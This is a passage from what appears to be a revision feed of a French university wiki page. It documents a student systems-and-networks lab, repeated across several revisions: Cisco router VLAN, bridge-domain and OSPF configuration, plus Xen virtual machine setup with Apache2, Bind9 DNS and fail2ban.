   bridge-domain 23&lt;br /&gt;
  !&lt;br /&gt;
  service instance 24 ethernet&lt;br /&gt;
   encapsulation dot1q 24&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 24&lt;br /&gt;
  !&lt;br /&gt;
  service instance 25 ethernet&lt;br /&gt;
   encapsulation dot1q 25&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 25&lt;br /&gt;
  !&lt;br /&gt;
  service instance 26 ethernet&lt;br /&gt;
   encapsulation dot1q 26&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 26&lt;br /&gt;
  !&lt;br /&gt;
  service instance 131 ethernet&lt;br /&gt;
   encapsulation dot1q 131&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 131&lt;br /&gt;
  !&lt;br /&gt;
 !&lt;br /&gt;
&lt;br /&gt;
Ils sont configurés pour utiliser les bridges-domains suivant:&lt;br /&gt;
&lt;br /&gt;
 interface BDI20&lt;br /&gt;
  ip address 10.60.20.1 255.255.255.240&lt;br /&gt;
 !&lt;br /&gt;
 interface BDI21&lt;br /&gt;
  ip address 10.60.21.1 255.255.255.240&lt;br /&gt;
 !&lt;br /&gt;
 interface BDI22&lt;br /&gt;
  ip address 10.60.22.1 255.255.255.240&lt;br /&gt;
 !&lt;br /&gt;
 interface BDI23&lt;br /&gt;
  ip address 10.60.23.1 255.255.255.240&lt;br /&gt;
 !&lt;br /&gt;
 interface BDI24&lt;br /&gt;
  ip address 10.60.24.1 255.255.255.240&lt;br /&gt;
 !&lt;br /&gt;
 interface BDI25&lt;br /&gt;
  ip address 10.60.25.1 255.255.255.240&lt;br /&gt;
 !         &lt;br /&gt;
 interface BDI26&lt;br /&gt;
  ip address 193.48.57.190 255.255.255.240&lt;br /&gt;
 !&lt;br /&gt;
 interface BDI131&lt;br /&gt;
  ip address 192.168.222.9 255.255.255.248&lt;br /&gt;
 !&lt;br /&gt;
&lt;br /&gt;
Les bridge-domains de 20 à 26 sont utilisés pour les VLAN correspondant à chaque utilisateur tandis que le BDI 31 est utilisé pour la communication avec le routeur de l&amp;#039;école.&lt;br /&gt;
&lt;br /&gt;
=== OSPF ===&lt;br /&gt;
&lt;br /&gt;
Le protocole OSPF (Open Shortest Path First) nous permet de partager nos tables de routage entre notre routeur et le routeur de l&amp;#039;école (192.168.222.8).&lt;br /&gt;
&lt;br /&gt;
 router ospf 1&lt;br /&gt;
  router-id 10.60.20.1&lt;br /&gt;
  summary-address 10.60.20.0 255.255.255.0&lt;br /&gt;
  summary-address 10.60.21.0 255.255.255.0&lt;br /&gt;
  summary-address 10.60.22.0 255.255.255.0&lt;br /&gt;
  summary-address 10.60.23.0 255.255.255.0&lt;br /&gt;
  summary-address 10.60.24.0 255.255.255.0&lt;br /&gt;
  summary-address 10.60.25.0 255.255.255.0&lt;br /&gt;
  summary-address 10.60.26.0 255.255.255.0&lt;br /&gt;
  summary-address 193.48.57.176 255.255.255.240&lt;br /&gt;
  redistribute connected subnets&lt;br /&gt;
  redistribute static subnets route-map ospf&lt;br /&gt;
  network 192.168.222.8 0.0.0.7 area 2&lt;br /&gt;
 !&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Xen ==&lt;br /&gt;
=== Proxy ===&lt;br /&gt;
&lt;br /&gt;
Pour pouvoir installer le proxy, nous devons configurer le proxy pour que APT puisse accéder à internet:&lt;br /&gt;
&lt;br /&gt;
 $ echo &amp;#039;Acquire::http::Proxy &amp;quot;http://helfaut.escaut.net:3128&amp;quot;;&amp;#039; &amp;gt; /etc/apt/apt.conf.d/01proxy&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Apache2 ===&lt;br /&gt;
&lt;br /&gt;
 $ apt-get install apache2&lt;br /&gt;
&lt;br /&gt;
On peut ensuite accéder à [http://193.48.57.182] pour visualiser &amp;quot;Apache2 Debian Default Page...&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Bind9 ===&lt;br /&gt;
&lt;br /&gt;
Une fois le nom de domaine acheté (unic0rn.pw) et configuré sur Gandi, il nous faut configurer bind9.&lt;br /&gt;
&lt;br /&gt;
 $ apt-get install bind9&lt;br /&gt;
&lt;br /&gt;
On commence par ajouter le DNS secondaire ns6.gandi.net:&lt;br /&gt;
&lt;br /&gt;
 $ cat /etc/bind/named.conf.options&lt;br /&gt;
     &lt;br /&gt;
 ...       &lt;br /&gt;
     allow-transfer { &amp;quot;allowed_to_transfer&amp;quot;; };&lt;br /&gt;
 };&lt;br /&gt;
   &lt;br /&gt;
 acl &amp;quot;allowed_to_transfer&amp;quot; {&lt;br /&gt;
   217.70.177.40/32 ;&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Ensuite il faut définir notre nom de domaine comme une zone:&lt;br /&gt;
&lt;br /&gt;
 $ cat /etc/bind/named.conf.local&lt;br /&gt;
  &lt;br /&gt;
 zone &amp;quot;unic0rn.pw&amp;quot; {&lt;br /&gt;
   type master;&lt;br /&gt;
   file &amp;quot;/etc/bind/unic0rn.pw&amp;quot;;&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Pour enfin écrire la configuration DNS associé à notre domaine et à ses sous-domaines:&lt;br /&gt;
&lt;br /&gt;
 # cat unic0rn.pw&lt;br /&gt;
  &lt;br /&gt;
 $TTL 259200&lt;br /&gt;
  &lt;br /&gt;
 @ IN SOA dns.unic0rn.pw. admin.unic0rn.pw. (&lt;br /&gt;
          10       ; Version&lt;br /&gt;
          7200             ; Refresh (2h)&lt;br /&gt;
          3600             ; Retry   (1h)&lt;br /&gt;
          1209600          ; Expire (14j)&lt;br /&gt;
          259200 )         ; Minimum TTL (3j)&lt;br /&gt;
   IN NS dns.unic0rn.pw.&lt;br /&gt;
   IN NS ns6.gandi.net.&lt;br /&gt;
   IN MX 100 dns.unic0rn.pw.&lt;br /&gt;
   IN A  193.48.57.182&lt;br /&gt;
 &lt;br /&gt;
 www	IN A       193.48.57.182&lt;br /&gt;
 dns	IN A       193.48.57.182&lt;br /&gt;
&lt;br /&gt;
On peut alors vérifier que tout fonctionne:&lt;br /&gt;
&lt;br /&gt;
 # service bind9 restart&lt;br /&gt;
 $ host unic0rn.pw&lt;br /&gt;
  &lt;br /&gt;
   Using domain server:&lt;br /&gt;
   Name: 127.0.0.1&lt;br /&gt;
   Address: 127.0.0.1#53&lt;br /&gt;
   Aliases: &lt;br /&gt;
     &lt;br /&gt;
   unic0rn.pw has address 193.48.57.182&lt;br /&gt;
   unic0rn.pw mail is handled by 100 dns.unic0rn.pw.&lt;br /&gt;
  &lt;br /&gt;
 $ curl unic0rn.pw | less&lt;br /&gt;
   % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current&lt;br /&gt;
                                     Dload  Upload   Total   Spent    Left  Speed&lt;br /&gt;
   100 14286    0 14286    0     0   638k      0 --:--:-- --:--:-- --:--:--  664k&lt;br /&gt;
   &amp;lt;!DOCTYPE html&amp;gt;...&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Sécurité ===&lt;br /&gt;
&lt;br /&gt;
On a tenté du bruteforce sur mon login root SSH le soir même de l&amp;#039;installation de mon nom de domaine. Bien que l&amp;#039;on ne puisse pas se connecter en root via ma configuration, j&amp;#039;ai tout de même ajouté fail2ban&lt;br /&gt;
&lt;br /&gt;
 # apt-get install fail2ban&lt;/div&gt;</summary>
		<author><name>Dfourny</name></author>
	</entry>
	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki/index.php?title=TP_sysres_IMA2a5_2016/2017_G1&amp;diff=35355</id>
		<title>TP sysres IMA2a5 2016/2017 G1</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki/index.php?title=TP_sysres_IMA2a5_2016/2017_G1&amp;diff=35355"/>
		<updated>2016-11-21T20:58:49Z</updated>

		<summary type="html">&lt;p&gt;Dfourny : /* Xen */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;              \&lt;br /&gt;
               \&lt;br /&gt;
                \\&lt;br /&gt;
                 \\&lt;br /&gt;
                  &amp;gt;\/7&lt;br /&gt;
              _.-(6&amp;#039;  \&lt;br /&gt;
             (=___._/` \&lt;br /&gt;
                  )  \ |&lt;br /&gt;
                 /   / |&lt;br /&gt;
                /    &amp;gt; /&lt;br /&gt;
               j    &amp;lt; _\&lt;br /&gt;
           _.-&amp;#039; :      ``.&lt;br /&gt;
           \ r=._\        `.&lt;br /&gt;
          &amp;lt;`\\_  \         .`-.&lt;br /&gt;
           \ r-7  `-. ._  &amp;#039; .  `\&lt;br /&gt;
            \`,      `-.`7  7)   )&lt;br /&gt;
             \/         \|  \&amp;#039;  / `-._&lt;br /&gt;
                        ||    .&amp;#039;&lt;br /&gt;
                         \\  (&lt;br /&gt;
    unic0rn.pw           &amp;gt;\  &amp;gt;&lt;br /&gt;
                      ,.-&amp;#039; &amp;gt;.&amp;#039;&lt;br /&gt;
                     &amp;lt;.&amp;#039;_.&amp;#039;&amp;#039;&lt;br /&gt;
                       &amp;lt;&amp;#039;&lt;br /&gt;
&lt;br /&gt;
== Plages d&amp;#039;IP ==&lt;br /&gt;
&lt;br /&gt;
   VLAN  |      Réseau     | Prénom  |   Xen    |      IP Xen       &lt;br /&gt;
  --------------------------------------------------------------&lt;br /&gt;
  VLAN20   10.60.20.0/24     Dimitri   Vald       193.48.57.182/28&lt;br /&gt;
  VLAN21   10.60.21.0/24     Nabil     Pnl        193.48.57.177/28&lt;br /&gt;
  VLAN22   10.60.22.0/24     Otmane    Lartiste   193.48.57.178/28&lt;br /&gt;
  VLAN23   10.60.23.0/24     Hugo      Gradur     193.48.57.179/28&lt;br /&gt;
  VLAN24   10.60.24.0/24     Clement   Gringe     193.48.57.180/28&lt;br /&gt;
  VLAN25   10.60.25.0/24     Joan      Orelsan    193.48.57.181/28&lt;br /&gt;
  VLAN26   193.48.57.176/28  Xen&lt;br /&gt;
&lt;br /&gt;
Routeur de Dimitri:&lt;br /&gt;
* 10.60.2?.1&lt;br /&gt;
* 193.48.57.190&lt;br /&gt;
* 192.168.222.9&lt;br /&gt;
&lt;br /&gt;
Routeur de Nabil:&lt;br /&gt;
* 10.60.2?.2&lt;br /&gt;
* 193.48.57.189&lt;br /&gt;
* 192.168.222.10&lt;br /&gt;
&lt;br /&gt;
==  Configuration du routeur ==&lt;br /&gt;
=== Version ===&lt;br /&gt;
&lt;br /&gt;
Je travaille actuellement sur une nouvelle version de IOS basé sur un Linux:&lt;br /&gt;
&lt;br /&gt;
 Cisco IOS XE Software, Version 03.13.04.S - Extended Support Release&lt;br /&gt;
 Cisco IOS Software, ISR Software (X86_64_LINUX_IOSD-UNIVERSALK9-M), Version 15.4(3)S4, RELEASE SOFTWARE (fc3)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Ports ===&lt;br /&gt;
&lt;br /&gt;
Les ports GigabitEthernet0/0/0 et GigabitEthernet0/0/1 ont exactement la même configuration puisque ce sont deux commutateurs qui seront branchés à ses ports.&lt;br /&gt;
&lt;br /&gt;
 interface GigabitEthernet0/0/0&lt;br /&gt;
  no ip address&lt;br /&gt;
  media-type sfp&lt;br /&gt;
  negotiation auto&lt;br /&gt;
  service instance 20 ethernet&lt;br /&gt;
   encapsulation dot1q 20&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 20&lt;br /&gt;
  !&lt;br /&gt;
  service instance 21 ethernet&lt;br /&gt;
   encapsulation dot1q 21&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 21&lt;br /&gt;
  !&lt;br /&gt;
  service instance 22 ethernet&lt;br /&gt;
   encapsulation dot1q 22&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 22&lt;br /&gt;
  !&lt;br /&gt;
  service instance 23 ethernet&lt;br /&gt;
   encapsulation dot1q 23&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 23&lt;br /&gt;
  !&lt;br /&gt;
  service instance 24 ethernet&lt;br /&gt;
   encapsulation dot1q 24&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 24&lt;br /&gt;
  !&lt;br /&gt;
  service instance 25 ethernet&lt;br /&gt;
   encapsulation dot1q 25&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 25&lt;br /&gt;
  !&lt;br /&gt;
  service instance 26 ethernet&lt;br /&gt;
   encapsulation dot1q 26&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 26&lt;br /&gt;
  !&lt;br /&gt;
  service instance 131 ethernet&lt;br /&gt;
   encapsulation dot1q 131&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 131&lt;br /&gt;
  !&lt;br /&gt;
 !&lt;br /&gt;
 interface GigabitEthernet0/0/1&lt;br /&gt;
  no ip address&lt;br /&gt;
  negotiation auto&lt;br /&gt;
  service instance 20 ethernet&lt;br /&gt;
   encapsulation dot1q 20&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 20&lt;br /&gt;
  !&lt;br /&gt;
  service instance 21 ethernet&lt;br /&gt;
   encapsulation dot1q 21&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 21&lt;br /&gt;
  !&lt;br /&gt;
  service instance 22 ethernet&lt;br /&gt;
   encapsulation dot1q 22&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 22&lt;br /&gt;
  !&lt;br /&gt;
  service instance 23 ethernet&lt;br /&gt;
   encapsulation dot1q 23&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 23&lt;br /&gt;
  !&lt;br /&gt;
  service instance 24 ethernet&lt;br /&gt;
   encapsulation dot1q 24&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 24&lt;br /&gt;
  !&lt;br /&gt;
  service instance 25 ethernet&lt;br /&gt;
   encapsulation dot1q 25&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 25&lt;br /&gt;
  !&lt;br /&gt;
  service instance 26 ethernet&lt;br /&gt;
   encapsulation dot1q 26&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 26&lt;br /&gt;
  !&lt;br /&gt;
  service instance 131 ethernet&lt;br /&gt;
   encapsulation dot1q 131&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 131&lt;br /&gt;
  !&lt;br /&gt;
 !&lt;br /&gt;
&lt;br /&gt;
Ils sont configurés pour utiliser les bridges-domains suivant:&lt;br /&gt;
&lt;br /&gt;
 interface BDI20&lt;br /&gt;
  ip address 10.60.20.1 255.255.255.240&lt;br /&gt;
 !&lt;br /&gt;
 interface BDI21&lt;br /&gt;
  ip address 10.60.21.1 255.255.255.240&lt;br /&gt;
 !&lt;br /&gt;
 interface BDI22&lt;br /&gt;
  ip address 10.60.22.1 255.255.255.240&lt;br /&gt;
 !&lt;br /&gt;
 interface BDI23&lt;br /&gt;
  ip address 10.60.23.1 255.255.255.240&lt;br /&gt;
 !&lt;br /&gt;
 interface BDI24&lt;br /&gt;
  ip address 10.60.24.1 255.255.255.240&lt;br /&gt;
 !&lt;br /&gt;
 interface BDI25&lt;br /&gt;
  ip address 10.60.25.1 255.255.255.240&lt;br /&gt;
 !         &lt;br /&gt;
 interface BDI26&lt;br /&gt;
  ip address 193.48.57.190 255.255.255.240&lt;br /&gt;
 !&lt;br /&gt;
 interface BDI131&lt;br /&gt;
  ip address 192.168.222.9 255.255.255.248&lt;br /&gt;
 !&lt;br /&gt;
&lt;br /&gt;
Les bridge-domains de 20 à 26 sont utilisés pour les VLAN correspondant à chaque utilisateur tandis que le BDI 31 est utilisé pour la communication avec le routeur de l&amp;#039;école.&lt;br /&gt;
&lt;br /&gt;
=== OSPF ===&lt;br /&gt;
&lt;br /&gt;
Le protocole OSPF (Open Shortest Path First) nous permet de partager nos tables de routage entre notre routeur et le routeur de l&amp;#039;école (192.168.222.8).&lt;br /&gt;
&lt;br /&gt;
 router ospf 1&lt;br /&gt;
  router-id 10.60.20.1&lt;br /&gt;
  summary-address 10.60.20.0 255.255.255.0&lt;br /&gt;
  summary-address 10.60.21.0 255.255.255.0&lt;br /&gt;
  summary-address 10.60.22.0 255.255.255.0&lt;br /&gt;
  summary-address 10.60.23.0 255.255.255.0&lt;br /&gt;
  summary-address 10.60.24.0 255.255.255.0&lt;br /&gt;
  summary-address 10.60.25.0 255.255.255.0&lt;br /&gt;
  summary-address 10.60.26.0 255.255.255.0&lt;br /&gt;
  summary-address 193.48.57.176 255.255.255.240&lt;br /&gt;
  redistribute connected subnets&lt;br /&gt;
  redistribute static subnets route-map ospf&lt;br /&gt;
  network 192.168.222.8 0.0.0.7 area 2&lt;br /&gt;
 !&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Xen ==&lt;br /&gt;
=== Proxy ===&lt;br /&gt;
&lt;br /&gt;
Pour pouvoir installer le proxy, nous devons configurer le proxy pour que APT puisse accéder à internet:&lt;br /&gt;
&lt;br /&gt;
 $ echo &amp;#039;Acquire::http::Proxy &amp;quot;http://helfaut.escaut.net:3128&amp;quot;;&amp;#039; &amp;gt; /etc/apt/apt.conf.d/01proxy&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Apache2 ===&lt;br /&gt;
&lt;br /&gt;
 $ apt-get install apache2&lt;br /&gt;
&lt;br /&gt;
On peut ensuite accéder à [http://193.48.57.182] pour visualiser &amp;quot;Apache2 Debian Default Page...&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Bind9 ===&lt;br /&gt;
&lt;br /&gt;
Une fois le nom de domaine acheté (unic0rn.pw) et configuré sur Gandi, il nous faut configurer bind9.&lt;br /&gt;
&lt;br /&gt;
 $ apt-get install bind9&lt;br /&gt;
&lt;br /&gt;
On commence par ajouter le DNS secondaire ns6.gandi.net:&lt;br /&gt;
&lt;br /&gt;
 $ cat /etc/bind/named.conf.options&lt;br /&gt;
     &lt;br /&gt;
 ...       &lt;br /&gt;
     allow-transfer { &amp;quot;allowed_to_transfer&amp;quot;; };&lt;br /&gt;
 };&lt;br /&gt;
   &lt;br /&gt;
 acl &amp;quot;allowed_to_transfer&amp;quot; {&lt;br /&gt;
   217.70.177.40/32 ;&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Ensuite il faut définir notre nom de domaine comme une zone:&lt;br /&gt;
&lt;br /&gt;
 $ cat /etc/bind/named.conf.local&lt;br /&gt;
  &lt;br /&gt;
 zone &amp;quot;unic0rn.pw&amp;quot; {&lt;br /&gt;
   type master;&lt;br /&gt;
   file &amp;quot;/etc/bind/unic0rn.pw&amp;quot;;&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Pour enfin écrire la configuration DNS associé à notre domaine et à ses sous-domaines:&lt;br /&gt;
&lt;br /&gt;
 # cat unic0rn.pw&lt;br /&gt;
  &lt;br /&gt;
 $TTL 259200&lt;br /&gt;
  &lt;br /&gt;
 @ IN SOA dns.unic0rn.pw. admin.unic0rn.pw. (&lt;br /&gt;
          10       ; Version&lt;br /&gt;
          7200             ; Refresh (2h)&lt;br /&gt;
          3600             ; Retry   (1h)&lt;br /&gt;
          1209600          ; Expire (14j)&lt;br /&gt;
          259200 )         ; Minimum TTL (3j)&lt;br /&gt;
   IN NS dns.unic0rn.pw.&lt;br /&gt;
   IN NS ns6.gandi.net.&lt;br /&gt;
   IN MX 100 dns.unic0rn.pw.&lt;br /&gt;
   IN A  193.48.57.182&lt;br /&gt;
 &lt;br /&gt;
 www	IN A       193.48.57.182&lt;br /&gt;
 dns	IN A       193.48.57.182&lt;br /&gt;
&lt;br /&gt;
On peut alors vérifier que tout fonctionne:&lt;br /&gt;
&lt;br /&gt;
 # service bind9 restart&lt;br /&gt;
 $ host unic0rn.pw&lt;br /&gt;
  &lt;br /&gt;
   Using domain server:&lt;br /&gt;
   Name: 127.0.0.1&lt;br /&gt;
   Address: 127.0.0.1#53&lt;br /&gt;
   Aliases: &lt;br /&gt;
     &lt;br /&gt;
   unic0rn.pw has address 193.48.57.182&lt;br /&gt;
   unic0rn.pw mail is handled by 100 dns.unic0rn.pw.&lt;br /&gt;
  &lt;br /&gt;
 $ curl unic0rn.pw | less&lt;br /&gt;
   % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current&lt;br /&gt;
                                     Dload  Upload   Total   Spent    Left  Speed&lt;br /&gt;
   100 14286    0 14286    0     0   638k      0 --:--:-- --:--:-- --:--:--  664k&lt;br /&gt;
   &amp;lt;!DOCTYPE html&amp;gt;...&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Sécurité ===&lt;br /&gt;
&lt;br /&gt;
On a tenté du bruteforce sur mon login root SSH le soir même de l&amp;#039;installation de mon nom de domaine. Bien que l&amp;#039;on puisse pas se connecter en root via ma configuration, j&amp;#039;ai tout de même ajouté fail2ban&lt;br /&gt;
&lt;br /&gt;
 # apt-get install fail2ban&lt;/div&gt;</summary>
		<author><name>Dfourny</name></author>
	</entry>
	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki/index.php?title=TP_sysres_IMA2a5_2016/2017_G1&amp;diff=35350</id>
		<title>TP sysres IMA2a5 2016/2017 G1</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki/index.php?title=TP_sysres_IMA2a5_2016/2017_G1&amp;diff=35350"/>
		<updated>2016-11-21T17:00:35Z</updated>

		<summary type="html">&lt;p&gt;Dfourny : /* Bind9 */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;              \&lt;br /&gt;
               \&lt;br /&gt;
                \\&lt;br /&gt;
                 \\&lt;br /&gt;
                  &amp;gt;\/7&lt;br /&gt;
              _.-(6&amp;#039;  \&lt;br /&gt;
             (=___._/` \&lt;br /&gt;
                  )  \ |&lt;br /&gt;
                 /   / |&lt;br /&gt;
                /    &amp;gt; /&lt;br /&gt;
               j    &amp;lt; _\&lt;br /&gt;
           _.-&amp;#039; :      ``.&lt;br /&gt;
           \ r=._\        `.&lt;br /&gt;
          &amp;lt;`\\_  \         .`-.&lt;br /&gt;
           \ r-7  `-. ._  &amp;#039; .  `\&lt;br /&gt;
            \`,      `-.`7  7)   )&lt;br /&gt;
             \/         \|  \&amp;#039;  / `-._&lt;br /&gt;
                        ||    .&amp;#039;&lt;br /&gt;
                         \\  (&lt;br /&gt;
    unic0rn.pw           &amp;gt;\  &amp;gt;&lt;br /&gt;
                      ,.-&amp;#039; &amp;gt;.&amp;#039;&lt;br /&gt;
                     &amp;lt;.&amp;#039;_.&amp;#039;&amp;#039;&lt;br /&gt;
                       &amp;lt;&amp;#039;&lt;br /&gt;
&lt;br /&gt;
== Plages d&amp;#039;IP ==&lt;br /&gt;
&lt;br /&gt;
   VLAN  |      Réseau     | Prénom  |   Xen    |      IP Xen       &lt;br /&gt;
  --------------------------------------------------------------&lt;br /&gt;
  VLAN20   10.60.20.0/24     Dimitri   Vald       193.48.57.182/28&lt;br /&gt;
  VLAN21   10.60.21.0/24     Nabil     Pnl        193.48.57.177/28&lt;br /&gt;
  VLAN22   10.60.22.0/24     Otmane    Lartiste   193.48.57.178/28&lt;br /&gt;
  VLAN23   10.60.23.0/24     Hugo      Gradur     193.48.57.179/28&lt;br /&gt;
  VLAN24   10.60.24.0/24     Clement   Gringe     193.48.57.180/28&lt;br /&gt;
  VLAN25   10.60.25.0/24     Joan      Orelsan    193.48.57.181/28&lt;br /&gt;
  VLAN26   193.48.57.176/28  Xen&lt;br /&gt;
&lt;br /&gt;
Routeur de Dimitri:&lt;br /&gt;
* 10.60.2?.1&lt;br /&gt;
* 193.48.57.190&lt;br /&gt;
* 192.168.222.9&lt;br /&gt;
&lt;br /&gt;
Routeur de Nabil:&lt;br /&gt;
* 10.60.2?.2&lt;br /&gt;
* 193.48.57.189&lt;br /&gt;
* 192.168.222.10&lt;br /&gt;
&lt;br /&gt;
==  Configuration du routeur ==&lt;br /&gt;
=== Version ===&lt;br /&gt;
&lt;br /&gt;
Je travaille actuellement sur une nouvelle version de IOS basé sur un Linux:&lt;br /&gt;
&lt;br /&gt;
 Cisco IOS XE Software, Version 03.13.04.S - Extended Support Release&lt;br /&gt;
 Cisco IOS Software, ISR Software (X86_64_LINUX_IOSD-UNIVERSALK9-M), Version 15.4(3)S4, RELEASE SOFTWARE (fc3)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Ports ===&lt;br /&gt;
&lt;br /&gt;
Les ports GigabitEthernet0/0/0 et GigabitEthernet0/0/1 ont exactement la même configuration puisque ce sont deux commutateurs qui seront branchés à ses ports.&lt;br /&gt;
&lt;br /&gt;
 interface GigabitEthernet0/0/0&lt;br /&gt;
  no ip address&lt;br /&gt;
  media-type sfp&lt;br /&gt;
  negotiation auto&lt;br /&gt;
  service instance 20 ethernet&lt;br /&gt;
   encapsulation dot1q 20&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 20&lt;br /&gt;
  !&lt;br /&gt;
  service instance 21 ethernet&lt;br /&gt;
   encapsulation dot1q 21&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 21&lt;br /&gt;
  !&lt;br /&gt;
  service instance 22 ethernet&lt;br /&gt;
   encapsulation dot1q 22&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 22&lt;br /&gt;
  !&lt;br /&gt;
  service instance 23 ethernet&lt;br /&gt;
   encapsulation dot1q 23&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 23&lt;br /&gt;
  !&lt;br /&gt;
  service instance 24 ethernet&lt;br /&gt;
   encapsulation dot1q 24&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 24&lt;br /&gt;
  !&lt;br /&gt;
  service instance 25 ethernet&lt;br /&gt;
   encapsulation dot1q 25&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 25&lt;br /&gt;
  !&lt;br /&gt;
  service instance 26 ethernet&lt;br /&gt;
   encapsulation dot1q 26&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 26&lt;br /&gt;
  !&lt;br /&gt;
  service instance 131 ethernet&lt;br /&gt;
   encapsulation dot1q 131&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 131&lt;br /&gt;
  !&lt;br /&gt;
 !&lt;br /&gt;
 interface GigabitEthernet0/0/1&lt;br /&gt;
  no ip address&lt;br /&gt;
  negotiation auto&lt;br /&gt;
  service instance 20 ethernet&lt;br /&gt;
   encapsulation dot1q 20&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 20&lt;br /&gt;
  !&lt;br /&gt;
  service instance 21 ethernet&lt;br /&gt;
   encapsulation dot1q 21&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 21&lt;br /&gt;
  !&lt;br /&gt;
  service instance 22 ethernet&lt;br /&gt;
   encapsulation dot1q 22&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 22&lt;br /&gt;
  !&lt;br /&gt;
  service instance 23 ethernet&lt;br /&gt;
   encapsulation dot1q 23&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 23&lt;br /&gt;
  !&lt;br /&gt;
  service instance 24 ethernet&lt;br /&gt;
   encapsulation dot1q 24&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 24&lt;br /&gt;
  !&lt;br /&gt;
  service instance 25 ethernet&lt;br /&gt;
   encapsulation dot1q 25&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 25&lt;br /&gt;
  !&lt;br /&gt;
  service instance 26 ethernet&lt;br /&gt;
   encapsulation dot1q 26&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 26&lt;br /&gt;
  !&lt;br /&gt;
  service instance 131 ethernet&lt;br /&gt;
   encapsulation dot1q 131&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 131&lt;br /&gt;
  !&lt;br /&gt;
 !&lt;br /&gt;
&lt;br /&gt;
Ils sont configurés pour utiliser les bridges-domains suivant:&lt;br /&gt;
&lt;br /&gt;
 interface BDI20&lt;br /&gt;
  ip address 10.60.20.1 255.255.255.240&lt;br /&gt;
 !&lt;br /&gt;
 interface BDI21&lt;br /&gt;
  ip address 10.60.21.1 255.255.255.240&lt;br /&gt;
 !&lt;br /&gt;
 interface BDI22&lt;br /&gt;
  ip address 10.60.22.1 255.255.255.240&lt;br /&gt;
 !&lt;br /&gt;
 interface BDI23&lt;br /&gt;
  ip address 10.60.23.1 255.255.255.240&lt;br /&gt;
 !&lt;br /&gt;
 interface BDI24&lt;br /&gt;
  ip address 10.60.24.1 255.255.255.240&lt;br /&gt;
 !&lt;br /&gt;
 interface BDI25&lt;br /&gt;
